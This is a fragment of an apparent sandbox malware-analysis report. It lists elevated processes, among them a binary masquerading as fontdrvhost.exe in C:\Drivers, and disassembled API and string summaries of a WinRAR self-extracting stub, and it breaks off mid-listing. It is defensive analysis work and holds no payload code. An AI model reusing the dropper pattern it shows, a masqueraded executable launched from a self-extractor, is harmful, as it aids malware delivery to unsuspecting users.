MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:02:11
Start date:	01/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff70f940000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:02:11
Start date:	01/01/2025
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff666e00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:02:20
Start date:	01/01/2025
Path:	C:\Drivers\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Drivers\fontdrvhost.exe"
Imagebase:	0x460000
File size:	1'995'264 bytes
MD5 hash:	0F52130D0A1ABBE40D9F582B1F95A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.3%
Total number of Nodes:	1513
Total number of Limit Nodes:	28

Executed Functions

Function 00B9DF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B90863: GetModuleHandleW.KERNEL32(kernel32), ref: 00B9087C
Part of subcall function 00B90863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00B9088E
Part of subcall function 00B90863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B908BF

Part of subcall function 00B9A64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00B9A655

Part of subcall function 00B9AC16: OleInitialize.OLE32(00000000), ref: 00B9AC2F
Part of subcall function 00B9AC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00B9AC66
Part of subcall function 00B9AC16: SHGetMalloc.SHELL32(00BC8438), ref: 00B9AC70

GetCommandLineW.KERNEL32 ref: 00B9DF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00B9DF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00B9DF94
UnmapViewOfFile.KERNEL32(00000000), ref: 00B9DFCE

Part of subcall function 00B9DBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00B9DBF4
Part of subcall function 00B9DBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00B9DC30

CloseHandle.KERNEL32(00000000), ref: 00B9DFD7
GetModuleFileNameW.KERNEL32(00000000,00BDEC90,00000800), ref: 00B9DFF2
SetEnvironmentVariableW.KERNEL32(sfxname,00BDEC90), ref: 00B9DFFE
GetLocalTime.KERNEL32(?), ref: 00B9E009
_swprintf.LIBCMT ref: 00B9E048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00B9E05A
GetModuleHandleW.KERNEL32(00000000), ref: 00B9E061
LoadIconW.USER32(00000000,00000064), ref: 00B9E078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 00B9E0C9
Sleep.KERNEL32(?), ref: 00B9E0F7
DeleteObject.GDI32 ref: 00B9E130
DeleteObject.GDI32(?), ref: 00B9E140
CloseHandle.KERNEL32 ref: 00B9E183

Strings

winrarsfxmappingfile.tmp, xrefs: 00B9DF77
sfxname, xrefs: 00B9DFF9
C:\Users\user\Desktop, xrefs: 00B9DF33
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00B9E039
STARTDLG, xrefs: 00B9E0BE
sfxstime, xrefs: 00B9E055

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-277078469
Opcode ID: 6fe51c467af7051d85c210280c7814ca6b7be2192c90d91ed8b67a86adb0cc3a
Instruction ID: 89db4f17ce7a523f107416b3c28c778b9faba70f24fdc757c33518f07f4d0c2a
Opcode Fuzzy Hash: 6fe51c467af7051d85c210280c7814ca6b7be2192c90d91ed8b67a86adb0cc3a
Instruction Fuzzy Hash: C061E371504255ABDB20AB79AC59F6B77ECEB48B00F0404BAF905A32A1EFB4D944C762

Function 00B9A6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00B9B73D,00000066), ref: 00B9A6D5
SizeofResource.KERNEL32(00000000,?,?,?,00B9B73D,00000066), ref: 00B9A6EC
LoadResource.KERNEL32(00000000,?,?,?,00B9B73D,00000066), ref: 00B9A703
LockResource.KERNEL32(00000000,?,?,?,00B9B73D,00000066), ref: 00B9A712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00B9B73D,00000066), ref: 00B9A72D
GlobalLock.KERNEL32(00000000), ref: 00B9A73E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00B9A762
GlobalUnlock.KERNEL32(00000000), ref: 00B9A7C6

Part of subcall function 00B9A626: GdipAlloc.GDIPLUS(00000010), ref: 00B9A62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00B9A7A7
GlobalFree.KERNEL32(00000000), ref: 00B9A7CD

Strings

PNG, xrefs: 00B9A6C6

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 4f62a924a49a3f5ae6aefbd3c45c333693afd52acc06bc07985177f5f93e0e4f
Instruction ID: 632a58ed567dd89e25ad058b320b5842a04547eae645f9349217f873fe9700d4
Opcode Fuzzy Hash: 4f62a924a49a3f5ae6aefbd3c45c333693afd52acc06bc07985177f5f93e0e4f
Instruction Fuzzy Hash: 56319E75601702AFCB119F65EC89D2B7BFCFF89B50B000A69F805A3261EF75DC408AA1

Function 00B8A69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00B8A592,000000FF,?,?), ref: 00B8A6C4

Part of subcall function 00B8BB03: _wcslen.LIBCMT ref: 00B8BB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00B8A592,000000FF,?,?), ref: 00B8A6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00B8A592,000000FF,?,?), ref: 00B8A6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,00B8A592,000000FF,?,?), ref: 00B8A728
GetLastError.KERNEL32(?,?,?,?,00B8A592,000000FF,?,?), ref: 00B8A734

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: a833d706ec3e5fbaf9974933c4275037d7d1d55aa90b67cb922bd4443a144960
Instruction ID: 7292970707e1acc6c493f83fb9b9a7047b857133c4f626c8abf1bd34a7fada67
Opcode Fuzzy Hash: a833d706ec3e5fbaf9974933c4275037d7d1d55aa90b67cb922bd4443a144960
Instruction Fuzzy Hash: 5C416D76900515ABCB25EF68CC84AE9B7F8FF48350F1042A6E559E3210DB34AE90DF90

Function 00BA7DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00BA7DC4,00000000,00BBC300,0000000C,00BA7F1B,00000000,00000002,00000000), ref: 00BA7E0F
TerminateProcess.KERNEL32(00000000,?,00BA7DC4,00000000,00BBC300,0000000C,00BA7F1B,00000000,00000002,00000000), ref: 00BA7E16
ExitProcess.KERNEL32 ref: 00BA7E28

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5c0efcad71bb30e9f97b14cddd385dd6819cfc855af1144372d1619faffab67d
Instruction ID: da22a0e0856beb761c60954ce6f2fa0f758eb99e9c1b943d6a5bff7f33893830
Opcode Fuzzy Hash: 5c0efcad71bb30e9f97b14cddd385dd6819cfc855af1144372d1619faffab67d
Instruction Fuzzy Hash: EAE01232048148ABCB116F24CD09A4A3BAEEF11741B004595F8199B132CF76EE92CA80

Function 00B8848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B88493

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 79120550e7e4924d5c845079dbfa2982026b0da1d99fdef2f840301a61ed92ca
Instruction ID: 97ab27b8d44de53d37c01dcea9d7848734f19b9609a47563c19d400d3f8b58d1
Opcode Fuzzy Hash: 79120550e7e4924d5c845079dbfa2982026b0da1d99fdef2f840301a61ed92ca
Instruction Fuzzy Hash: E8820870904245AFDF26EF64C891BFABBF9EF15300F4845F9E8499B162DB315A84CB60

Function 00B9B7E0 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B9B7E5

Part of subcall function 00B81316: GetDlgItem.USER32(00000000,00003021), ref: 00B8135A
Part of subcall function 00B81316: SetWindowTextW.USER32(00000000,00BB35F4), ref: 00B81370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B9B8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B9B8EF
IsDialogMessageW.USER32(?,?), ref: 00B9B902
TranslateMessage.USER32(?), ref: 00B9B910
DispatchMessageW.USER32(?), ref: 00B9B91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00B9B93D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 00B9B960
GetDlgItem.USER32(?,00000068), ref: 00B9B983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00B9B99E
SendMessageW.USER32(00000000,000000C2,00000000,00BB35F4), ref: 00B9B9B1

Part of subcall function 00B9D453: _wcslen.LIBCMT ref: 00B9D47D

SetFocus.USER32(00000000), ref: 00B9B9B8
_swprintf.LIBCMT ref: 00B9BA24

Part of subcall function 00B84092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B840A5

Part of subcall function 00B9D4D4: GetDlgItem.USER32(00000068,00BDFCB8), ref: 00B9D4E8
Part of subcall function 00B9D4D4: ShowWindow.USER32(00000000,00000005,?,?,?,00B9AF07,00000001,?,?,00B9B7B9,00BB506C,00BDFCB8,00BDFCB8,00001000,00000000,00000000), ref: 00B9D510
Part of subcall function 00B9D4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00B9D51B
Part of subcall function 00B9D4D4: SendMessageW.USER32(00000000,000000C2,00000000,00BB35F4), ref: 00B9D529
Part of subcall function 00B9D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00B9D53F
Part of subcall function 00B9D4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00B9D559
Part of subcall function 00B9D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00B9D59D
Part of subcall function 00B9D4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00B9D5AB
Part of subcall function 00B9D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00B9D5BA
Part of subcall function 00B9D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00B9D5E1
Part of subcall function 00B9D4D4: SendMessageW.USER32(00000000,000000C2,00000000,00BB43F4), ref: 00B9D5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00B9BA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00B9BA90
GetTickCount.KERNEL32 ref: 00B9BAAE
_swprintf.LIBCMT ref: 00B9BAC2
GetLastError.KERNEL32(?,00000011), ref: 00B9BAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00B9BB43
_swprintf.LIBCMT ref: 00B9BB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 00B9BBD0
GetCommandLineW.KERNEL32 ref: 00B9BBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 00B9BC47
ShellExecuteExW.SHELL32(0000003C), ref: 00B9BC6F
Sleep.KERNEL32(00000064), ref: 00B9BCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 00B9BCE2
CloseHandle.KERNEL32(00000000), ref: 00B9BCEB
_swprintf.LIBCMT ref: 00B9BD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B9BD7D
SetDlgItemTextW.USER32(?,00000065,00BB35F4), ref: 00B9BD94
GetDlgItem.USER32(?,00000065), ref: 00B9BD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 00B9BDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00B9BDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B9BE68
_wcslen.LIBCMT ref: 00B9BEBE
_swprintf.LIBCMT ref: 00B9BEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 00B9BF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00B9BF4C
GetDlgItem.USER32(?,00000068), ref: 00B9BF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00B9BF6B
GetDlgItem.USER32(?,00000066), ref: 00B9BF85
SetWindowTextW.USER32(00000000,00BCA472), ref: 00B9BFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00B9C007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B9C01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 00B9C0BD
EnableWindow.USER32(00000000,00000000), ref: 00B9C197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00B9C1D9

Part of subcall function 00B9C73F: __EH_prolog.LIBCMT ref: 00B9C744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B9C1FD

Strings

winrarsfxmappingfile.tmp, xrefs: 00B9BBA6
<, xrefs: 00B9BB84
%s, xrefs: 00B9BED8
LICENSEDLG, xrefs: 00B9C0B2
@, xrefs: 00B9BB91
-el -s2 "-d%s" "-sp%s", xrefs: 00B9BB6B
C:\Users\user\Desktop, xrefs: 00B9BBC9
__tmp_rar_sfx_access_check_%u, xrefs: 00B9BAB5
STARTDLG, xrefs: 00B9B801
"%s"%s, xrefs: 00B9BD0D

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3445078344-1670982708
Opcode ID: afa1aa0614bc9dc277203085f670f6065be96981b6c23b1f80f7e95b0d87b788
Instruction ID: bfa73de0d0230a82082bcbf3edbe6ec9a4f932326acde852760e1365bdf4a96d
Opcode Fuzzy Hash: afa1aa0614bc9dc277203085f670f6065be96981b6c23b1f80f7e95b0d87b788
Instruction Fuzzy Hash: 4242D571944248BAEF21ABA4AD8AFBE7BECDB05B00F1400E5F545B71E2DF745A44CB21

Function 00B90863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00B9087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00B9088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B908BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00B90B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B90B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B90B93
ReadFile.KERNEL32(00000000,?,00007FFE,00BB3C7C,00000000), ref: 00B90BB1
CloseHandle.KERNEL32(00000000), ref: 00B90C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00B90C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00BB3C7C,?,00000000,?,00000800), ref: 00B90C72
GetFileAttributesW.KERNELBASE(?,?,00BB3C7C,00000800,?,00000000,?,00000800), ref: 00B90C9C
GetFileAttributesW.KERNEL32(?,?,00BB3D44,00000800), ref: 00B90CD8

Part of subcall function 00B9081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00B90836
Part of subcall function 00B9081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00B8F2D8,Crypt32.dll,00000000,00B8F35C,?,?,00B8F33E,?,?,?), ref: 00B90858

_swprintf.LIBCMT ref: 00B90D4A
_swprintf.LIBCMT ref: 00B90D96

Part of subcall function 00B84092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B840A5

AllocConsole.KERNEL32 ref: 00B90D9E
GetCurrentProcessId.KERNEL32 ref: 00B90DA8
AttachConsole.KERNEL32(00000000), ref: 00B90DAF
_wcslen.LIBCMT ref: 00B90DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00B90DD5
WriteConsoleW.KERNEL32(00000000), ref: 00B90DDC
Sleep.KERNEL32(00002710), ref: 00B90DE7
FreeConsole.KERNEL32 ref: 00B90DED
ExitProcess.KERNEL32 ref: 00B90DF5

Strings

kernel32, xrefs: 00B90873
SetDefaultDllDirectories, xrefs: 00B908B9
uxtheme.dll, xrefs: 00B90D17
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00B90D84
SetDllDirectoryW, xrefs: 00B90888
dwmapi.dll, xrefs: 00B90927, 00B90D0D
DXGIDebug.dll, xrefs: 00B908FC, 00B90C5E

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: 2a30b0f1697223b0fa1c91fd95713def718d2ee74e808d80d06ab645167933b9
Instruction ID: 975349dd97fe7990ad9d836b7e09b5dafff8c730e413f792240be9e3fe00d21b
Opcode Fuzzy Hash: 2a30b0f1697223b0fa1c91fd95713def718d2ee74e808d80d06ab645167933b9
Instruction Fuzzy Hash: FED183B2458344AFD720AF50C889BEFBAE8FF85B04F5049ADF18597151CBF09648CB62

Function 00B9C73F Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00B9C744

Part of subcall function 00B9B314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00B9B3FB

_wcslen.LIBCMT ref: 00B9CA0A
_wcslen.LIBCMT ref: 00B9CA13
SetWindowTextW.USER32(?,?), ref: 00B9CA71
_wcslen.LIBCMT ref: 00B9CAB3
_wcsrchr.LIBVCRUNTIME ref: 00B9CBFB
GetDlgItem.USER32(?,00000066), ref: 00B9CC36
SetWindowTextW.USER32(00000000,?), ref: 00B9CC46
SendMessageW.USER32(00000000,00000143,00000000,00BCA472), ref: 00B9CC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00B9CC7F

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00B9CB1A
<br>, xrefs: 00B9C9D4
%s.%d.tmp, xrefs: 00B9C940
ProgramFilesDir, xrefs: 00B9CB45

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: d840eeb65f1a323a9a9c2b05260c337c2864b01a24dd6db170b27e74400202c9
Instruction ID: a337deefa0aef6b9f110dd0cc527c4e0734d2d5d129cdd3d12bdfd7ff5d3f464
Opcode Fuzzy Hash: d840eeb65f1a323a9a9c2b05260c337c2864b01a24dd6db170b27e74400202c9
Instruction Fuzzy Hash: F9E14DB2904219AADF25EBA0DC85EEE77FCEB05710F5041F6F609E7051EF749A848B60

Function 00B8DA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B8DA70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00B8DAAC

Part of subcall function 00B8C29A: _wcslen.LIBCMT ref: 00B8C2A2

Part of subcall function 00B905DA: _wcslen.LIBCMT ref: 00B905E0

Part of subcall function 00B91B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00B8BAE9,00000000,?,?,?,0001040E), ref: 00B91BA0

_wcslen.LIBCMT ref: 00B8DDE9
__fprintf_l.LIBCMT ref: 00B8DF1C

Strings

@%s:, xrefs: 00B8DF06, 00B8DF12
RTL, xrefs: 00B8DEDE
*messages***, xrefs: 00B8DBFA
*messages***, xrefs: 00B8DBC1
$%s:, xrefs: 00B8DEFF
R, xrefs: 00B8DC0C
a, xrefs: 00B8DC16
,, xrefs: 00B8DF57
, xrefs: 00B8DD6C

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
